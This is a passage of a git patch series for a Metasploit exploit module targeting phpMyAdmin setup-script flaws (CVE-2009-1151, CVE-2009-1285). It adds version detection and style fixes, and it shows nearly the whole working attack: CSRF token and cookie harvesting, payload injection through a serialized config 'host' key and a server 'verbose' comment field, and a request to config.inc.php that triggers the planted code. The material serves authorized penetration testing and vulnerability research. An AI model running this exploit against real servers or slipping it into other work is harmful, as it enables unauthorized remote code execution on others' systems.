deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 2c5394e3f0..4ac92a8807 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -33,7 +33,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x) 'pagvac', # milw0rm PoC (CVE-2009-1151) 'egypt', # metasploit - 'Tenable' # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1) + 'Tenable', # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1) + 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => MSF_LICENSE, 'References' => [ @@ -92,9 +93,36 @@ class MetasploitModule < Msf::Exploit::Remote vprint_error("Error with setup request (HTTP #{response.code}, should be 200)") else vprint_good("Found: #{uri}") + + title = response&.get_html_document&.at_xpath('//title')&.text + version = Rex::Version.new(title[/phpMyAdmin (.+?) setup/i, 1]) + if version + vprint_status("Found version: #{version}") + + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'phpMyAdmin', + info: "phpMyAdmin #{version}", + parents: { + name: ssl ? 'https' : 'http', + host: rhost, + port: rport, + proto: 'tcp', + parents: { + name: 'tcp', + host: rhost, + port: rport, + proto: 'tcp', + parents: nil + } + } + ) + end end - response + return response, version end def find_setup_path(mode: :exploit) @@ -103,25 +131,27 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['SETUP_PATH'].nil? vprint_status("Attempting to automatically detect phpMyAdmin setup directory path") - response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x + response, version = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x if mode == :exploit - response = request_setup("/setup/index.php?page=config") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) - response = request_setup("/setup/") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) + response, version = request_setup("/setup/index.php?page=config") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) + response, version = request_setup("/setup/") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) else - response = request_setup("/setup/") unless response &.code == 200 # This will report if folder is writable - response = request_setup("/setup/index.php?page=config") unless response &.code == 200 # This will not + response, version = request_setup("/setup/") unless response &.code == 200 # This will report if folder is writable + response, version = request_setup("/setup/index.php?page=config") unless response &.code == 200 # This will not end else - response = request_setup(datastore['SETUP_PATH']) + response, version = request_setup(datastore['SETUP_PATH']) end print_error("Unable to find valid phpMyAdmin setup directory path") unless response &.code == 200 @response_setup = response + @version_setup = version + return response, version end def check - response = find_setup_path(mode: :check) + response, version = find_setup_path(mode: :check) return Exploit::CheckCode::Safe unless response &.code == 200 if (response.body !~ /"token"\s*value="([^"]+)"/) @@ -135,11 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - title = response&.get_html_document &.at_xpath('//title').text - version = Rex::Version.new(title[/phpMyAdmin (.+?) setup/i, 1]) if version - vprint_status("Found version: #{version}") - vulnerable = version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.5')) || version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.2')) @@ -183,7 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - response = find_setup_path(mode: :exploit) + response, version = find_setup_path(mode: :exploit) fail_with(Failure::NotFound, "Failed - Server may not be vulnerable") unless response &.code == 200 uri = response.request[/^GET\s+(\S+)/, 1] From 38d8ea7937d99dc9bf4114117986dc67bc8e9b8f Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 31 Mar 2026 14:49:03 +0100 Subject: [PATCH 09/11] phpmyadmin_config: Make rubocop happy --- .../exploits/unix/webapp/phpmyadmin_config.rb | 199 +++++++++--------- 1 file changed, 101 insertions(+), 98 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 4ac92a8807..2c037ac6a5 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -56,9 +56,9 @@ class MetasploitModule < Msf::Exploit::Remote # No filtering whatsoever, so no badchars 'Compat' => { - 'ConnectionType' => 'find', + 'ConnectionType' => 'find' }, - 'Keys' => [ 'php' ], + 'Keys' => [ 'php' ] }, 'Targets' => [ [ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ], @@ -75,10 +75,10 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('URI', [ true, "Base phpMyAdmin directory path", "/phpMyAdmin/" ]), + OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]), # /scripts/setup.php - <= 2.11.9.4/3.0.x # /setup/ - >= 3.1.x - OptString.new('SETUP_PATH', [ false, "phpMyAdmin setup directory path (Blank to automatically detect)" ]) + OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ]) ] ) end @@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status("Trying: #{uri}") response = send_request_raw({ 'uri' => uri }) if response.nil? - vprint_error("Error with setup request (No response)") + vprint_error('Error with setup request (No response)') elsif response.code != 200 vprint_error("Error with setup request (HTTP #{response.code}, should be 200)") else @@ -129,21 +129,21 @@ class MetasploitModule < Msf::Exploit::Remote return @response_setup if @response_setup if datastore['SETUP_PATH'].nil? - vprint_status("Attempting to automatically detect phpMyAdmin setup directory path") + vprint_status('Attempting to automatically detect phpMyAdmin setup directory path') - response, version = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x - if mode == :exploit - response, version = request_setup("/setup/index.php?page=config") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) - response, version = request_setup("/setup/") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) - else - response, version = request_setup("/setup/") unless response &.code == 200 # This will report if folder is writable - response, version = request_setup("/setup/index.php?page=config") unless response &.code == 200 # This will not - end + response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x + if mode == :exploit + response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) + response, version = request_setup('/setup/') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) + else + response, version = request_setup('/setup/') unless response&.code == 200 # This will report if folder is writable + response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not + end else response, version = request_setup(datastore['SETUP_PATH']) end - print_error("Unable to find valid phpMyAdmin setup directory path") unless response &.code == 200 + print_error('Unable to find valid phpMyAdmin setup directory path') unless response&.code == 200 @response_setup = response @version_setup = version @@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote def check response, version = find_setup_path(mode: :check) - return Exploit::CheckCode::Safe unless response &.code == 200 + return Exploit::CheckCode::Safe unless response&.code == 200 if (response.body !~ /"token"\s*value="([^"]+)"/) print_error("Couldn't find token and can't continue without it. Is URI set correctly?") @@ -177,64 +177,65 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Target version is not in range (#{version})") end else - print_error("Could not determine version") + print_error('Could not determine version') end return Exploit::CheckCode::Safe end - def php_serialize(o) - case o + def php_serialize(obj) + case obj when String - "s:#{o.bytesize}:\"#{o}\";" + "s:#{obj.bytesize}:\"#{obj}\";" when Integer - "i:#{o};" + "i:#{obj};" when TrueClass - "b:1;" + 'b:1;' when FalseClass - "b:0;" + 'b:0;' when Array - body = o.each_with_index.map { |v,i| php_serialize(i) + php_serialize(v) }.join - "a:#{o.length}:{#{body}}" + body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join + "a:#{obj.length}:{#{body}}" when Hash - body = o.map { |k,v| php_serialize(k) + php_serialize(v) }.join - "a:#{o.length}:{#{body}}" + body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join + "a:#{obj.length}:{#{body}}" end end def valid_request(response, expected_http_code = 200) - fail_with(Failure::Unknown, "Error with exploit request (No response)") unless response + fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response return if [expected_http_code, 200].include?(response.code) + fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})") end def exploit - response, version = find_setup_path(mode: :exploit) - fail_with(Failure::NotFound, "Failed - Server may not be vulnerable") unless response &.code == 200 + response, = find_setup_path(mode: :exploit) + fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200 uri = response.request[/^GET\s+(\S+)/, 1] # Find the CSRF token and session cookie fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]*)"/) - token = $1 + token = ::Regexp.last_match(1) cookie = response.get_cookies case uri # CVE-2009-1151 when %r{/scripts/setup\.php} - vprint_status("Constructing exploit (save request) for: <= 2.11.9.4/3.0.x") + vprint_status('Constructing exploit (save request) for: <= 2.11.9.4/3.0.x') injected = "host']='';#{payload.encoded};//" # There is probably a great deal of randomization that can be done with this PHP serialized array config_hash = { - "Servers" => [ + 'Servers' => [ { - injected => "", - rand_text_alpha(9) => "extension", - "connect_type" => "tcp", - "compress" => false, - "auth_type" => "config", - "user" => rand_text_alpha(4) + injected => '', + rand_text_alpha(9) => 'extension', + 'connect_type' => 'tcp', + 'compress' => false, + 'auth_type' => 'config', + 'user' => rand_text_alpha(4) } ] } @@ -244,13 +245,13 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Sending exploit (save request): #{uri}") response = send_request_cgi({ 'method' => 'POST', - 'uri' => uri , + 'uri' => uri, 'cookie' => cookie, 'vars_post' => { - 'token' => token, - 'action' => 'save', + 'token' => token, + 'action' => 'save', 'configuration' => config, - 'eoltype' => 'unix' + 'eoltype' => 'unix' } }, 3) valid_request(response) @@ -260,12 +261,12 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Sending exploit >= 3.1.x (textconfig): #{uri}") response = send_request_cgi({ 'method' => 'POST', - 'uri' => uri , + 'uri' => uri, 'cookie' => cookie, 'vars_post' => { - 'token' => token, - 'eol' => 'unix', - 'textconfig' => "", + 'token' => token, + 'eol' => 'unix', + 'textconfig' => "", 'submit_save' => 'Save' } @@ -279,72 +280,74 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Sending exploit >= 3.1.x (new server): #{uri}") response = send_request_cgi( { - 'method' => 'POST', - 'uri' => uri, + 'method' => 'POST', + 'uri' => uri, 'vars_get' => { - 'phpMyAdmin' => phpmyadmin_cookie, - 'check_page_refresh'=> '1', - 'token' => token, - 'page' => 'servers', - 'mode' => 'add', - 'submit' => 'New server' + 'phpMyAdmin' => phpmyadmin_cookie, + 'check_page_refresh' => '1', + 'token' => token, + 'page' => 'servers', + 'mode' => 'add', + 'submit' => 'New server' }, 'cookie' => cookie, - 'ctype' => 'application/x-www-form-urlencoded', + 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { - 'check_page_refresh' => '1', - 'token' => token, - 'Servers-0-verbose' => "*/#{payload.encoded}/*", - 'Servers-0-host' => 'localhost', - 'Servers-0-port' => '', - 'Servers-0-socket' => '', - 'Servers-0-connect_type' => 'tcp', - 'Servers-0-extension' => 'mysqli', - 'Servers-0-auth_type' => 'cookie', - 'Servers-0-user' => 'root', - 'Servers-0-password' => '', - 'Servers-0-auth_swekey_config' => '', - 'submit_save' => 'Save', - 'Servers-0-SignonSession' => '', - 'Servers-0-SignonURL' => '', - 'Servers-0-LogoutURL' => '', - 'Servers-0-only_db' => '', - 'Servers-0-hide_db' => '', - 'Servers-0-AllowRoot' => 'on', - 'Servers-0-DisableIS' => 'on', - 'Servers-0-AllowDeny-order' => '', - 'Servers-0-AllowDeny-rules' => '', + 'check_page_refresh' => '1', + 'token' => token, + 'Servers-0-verbose' => "*/#{payload.encoded}/*", + 'Servers-0-host' => 'localhost', + 'Servers-0-port' => '', + 'Servers-0-socket' => '', + 'Servers-0-connect_type' => 'tcp', + 'Servers-0-extension' => 'mysqli', + 'Servers-0-auth_type' => 'cookie', + 'Servers-0-user' => 'root', + 'Servers-0-password' => '', + 'Servers-0-auth_swekey_config' => '', + 'submit_save' => 'Save', + 'Servers-0-SignonSession' => '', + 'Servers-0-SignonURL' => '', + 'Servers-0-LogoutURL' => '', + 'Servers-0-only_db' => '', + 'Servers-0-hide_db' => '', + 'Servers-0-AllowRoot' => 'on', + 'Servers-0-DisableIS' => 'on', + 'Servers-0-AllowDeny-order' => '', + 'Servers-0-AllowDeny-rules' => '', 'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES', - 'Servers-0-CountTables' => 'on', - 'Servers-0-pmadb' => '', - 'Servers-0-controluser' => '', - 'Servers-0-controlpass' => '', - 'Servers-0-verbose_check' => 'on', - 'Servers-0-bookmarktable' => '', - 'Servers-0-relation' => '', - 'Servers-0-table_info' => '', - 'Servers-0-table_coords' => '', - 'Servers-0-pdf_pages' => '', - 'Servers-0-column_info' => '', - 'Servers-0-history' => '', - 'Servers-0-designer_coords' => '' + 'Servers-0-CountTables' => 'on', + 'Servers-0-pmadb' => '', + 'Servers-0-controluser' => '', + 'Servers-0-controlpass' => '', + 'Servers-0-verbose_check' => 'on', + 'Servers-0-bookmarktable' => '', + 'Servers-0-relation' => '', + 'Servers-0-table_info' => '', + 'Servers-0-table_coords' => '', + 'Servers-0-pdf_pages' => '', + 'Servers-0-column_info' => '', + 'Servers-0-history' => '', + 'Servers-0-designer_coords' => '' } - }, 3) + }, 3 + ) valid_request(response, 303) uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php') print_status("Sending exploit >= 3.1.x (save config): #{uri}") response = send_request_cgi( { - 'method' => 'POST', - 'uri' => uri, + 'method' => 'POST', + 'uri' => uri, 'cookie' => cookie, - 'ctype' => 'application/x-www-form-urlencoded', + 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { - 'token' => token, + 'token' => token, 'submit_save' => 'Save' } - }, 3) + }, 3 + ) valid_request(response, 303) else fail_with(Failure::Unknown, "...unsure of target: #{uri}") @@ -352,7 +355,7 @@ class MetasploitModule < Msf::Exploit::Remote # Very short timeout because the request may never return if we're sending a socket payload timeout = 0.1 - uri = normalize_uri(datastore['URI'], "/config/config.inc.php") + uri = normalize_uri(datastore['URI'], '/config/config.inc.php') print_status("Requesting our payload: #{uri}") response = send_request_raw({ 'global' => true, # Allow findsock payloads to work From 9f480e55d55abf777ad8136444ca439fba2aad32 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Sat, 11 Apr 2026 07:54:31 +0100 Subject: [PATCH 10/11] phpmyadmin_config: Misc feedback updates Sorry its thrown all in a big commit and not splitting up. --- .../exploits/unix/webapp/phpmyadmin_config.rb | 71 +++++++++---------- 1 file changed, 32 insertions(+), 39 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 2c037ac6a5..f0b76d84ce 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -66,9 +67,9 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => '2009-03-24', 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Reliability' => REPEATABLE_SESSION, + 'Stability' => CRASH_SAFE, + 'SideEffects' => CONFIG_CHANGES } ) ) @@ -85,19 +86,19 @@ class MetasploitModule < Msf::Exploit::Remote def request_setup(uri) uri = normalize_uri(datastore['URI'], uri) - vprint_status("Trying: #{uri}") + vprint_status "Trying: #{uri}" response = send_request_raw({ 'uri' => uri }) if response.nil? - vprint_error('Error with setup request (No response)') + vprint_error 'Error with setup request (No response)' elsif response.code != 200 - vprint_error("Error with setup request (HTTP #{response.code}, should be 200)") + vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)" else - vprint_good("Found: #{uri}") + vprint_good "Found: #{uri}" title = response&.get_html_document&.at_xpath('//title')&.text - version = Rex::Version.new(title[/phpMyAdmin (.+?) setup/i, 1]) - if version - vprint_status("Found version: #{version}") + if /phpMyAdmin (?.+?) setup/i =~ title + version = Rex::Version.new(version_str) + vprint_status "Found version: #{version}" report_service( host: rhost, @@ -126,10 +127,8 @@ class MetasploitModule < Msf::Exploit::Remote end def find_setup_path(mode: :exploit) - return @response_setup if @response_setup - if datastore['SETUP_PATH'].nil? - vprint_status('Attempting to automatically detect phpMyAdmin setup directory path') + vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path' response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x if mode == :exploit @@ -143,10 +142,8 @@ class MetasploitModule < Msf::Exploit::Remote response, version = request_setup(datastore['SETUP_PATH']) end - print_error('Unable to find valid phpMyAdmin setup directory path') unless response&.code == 200 + print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200 - @response_setup = response - @version_setup = version return response, version end @@ -155,29 +152,25 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe unless response&.code == 200 if (response.body !~ /"token"\s*value="([^"]+)"/) - print_error("Couldn't find token and can't continue without it. Is URI set correctly?") - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?") elsif (response.body =~ /Cannot load or save configuration/) - print_error("'config' folder permissions may not be setup correctly (writable!)") - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)") elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it. - print_error("'config' folder permissions may not be setup correctly (writable! - Error: 2)") - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)") end if version vulnerable = - version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.5')) || - version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.2')) + version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) || + version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1')) if vulnerable - print_good("Target version is in range! (#{version})") - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Appears("Target version is in range! (#{version})") else - print_status("Target version is not in range (#{version})") + print_status "Target version is not in range (#{version})" end else - print_error('Could not determine version') + print_error 'Could not determine version' end return Exploit::CheckCode::Safe @@ -215,14 +208,14 @@ class MetasploitModule < Msf::Exploit::Remote uri = response.request[/^GET\s+(\S+)/, 1] # Find the CSRF token and session cookie - fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]*)"/) + fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/) token = ::Regexp.last_match(1) cookie = response.get_cookies case uri # CVE-2009-1151 when %r{/scripts/setup\.php} - vprint_status('Constructing exploit (save request) for: <= 2.11.9.4/3.0.x') + vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x' injected = "host']='';#{payload.encoded};//" @@ -242,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote config = php_serialize(config_hash) # Now that we've got the cookie and token, send the evil - print_status("Sending exploit (save request): #{uri}") + print_status "Sending exploit (save request): #{uri}" response = send_request_cgi({ 'method' => 'POST', 'uri' => uri, @@ -258,7 +251,7 @@ class MetasploitModule < Msf::Exploit::Remote # CVE-2009-1285 #1 when %r{/setup/index\.php\?page=config\z} uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post') - print_status("Sending exploit >= 3.1.x (textconfig): #{uri}") + print_status "Sending exploit >= 3.1.x (textconfig): #{uri}" response = send_request_cgi({ 'method' => 'POST', 'uri' => uri, @@ -275,9 +268,9 @@ class MetasploitModule < Msf::Exploit::Remote # CVE-2009-1285 #2 when %r{/setup(?:/(?:config|index)\.php)?/?\z} phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1] - fail_with(Failure::UnexpectedReply, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie + fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie - print_status("Sending exploit >= 3.1.x (new server): #{uri}") + print_status "Sending exploit >= 3.1.x (new server): #{uri}" response = send_request_cgi( { 'method' => 'POST', @@ -335,7 +328,7 @@ class MetasploitModule < Msf::Exploit::Remote valid_request(response, 303) uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php') - print_status("Sending exploit >= 3.1.x (save config): #{uri}") + print_status "Sending exploit >= 3.1.x (save config): #{uri}" response = send_request_cgi( { 'method' => 'POST', @@ -350,22 +343,22 @@ class MetasploitModule < Msf::Exploit::Remote ) valid_request(response, 303) else - fail_with(Failure::Unknown, "...unsure of target: #{uri}") + fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}") end # Very short timeout because the request may never return if we're sending a socket payload timeout = 0.1 uri = normalize_uri(datastore['URI'], '/config/config.inc.php') - print_status("Requesting our payload: #{uri}") + print_status "Requesting our payload: #{uri}" response = send_request_raw({ 'global' => true, # Allow findsock payloads to work 'uri' => uri }, timeout) # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails if response.nil? - vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.') + vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.' elsif response.code != 200 - vprint_error("Error with payload request (HTTP #{response.code}, should be 200)") + vprint_error "Error with payload request (HTTP #{response.code}, should be 200)" end end end From 946d1a44b535bd4ed828fa315bdb833bbd1f3f35 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Tue, 21 Apr 2026 18:43:54 +0200 Subject: [PATCH 11/11] Fix Notes format (array) --- modules/exploits/unix/webapp/phpmyadmin_config.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index f0b76d84ce..263a59646c 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -67,9 +67,9 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => '2009-03-24', 'Notes' => { - 'Reliability' => REPEATABLE_SESSION, - 'Stability' => CRASH_SAFE, - 'SideEffects' => CONFIG_CHANGES + 'Reliability' => [REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [CONFIG_CHANGES] } ) )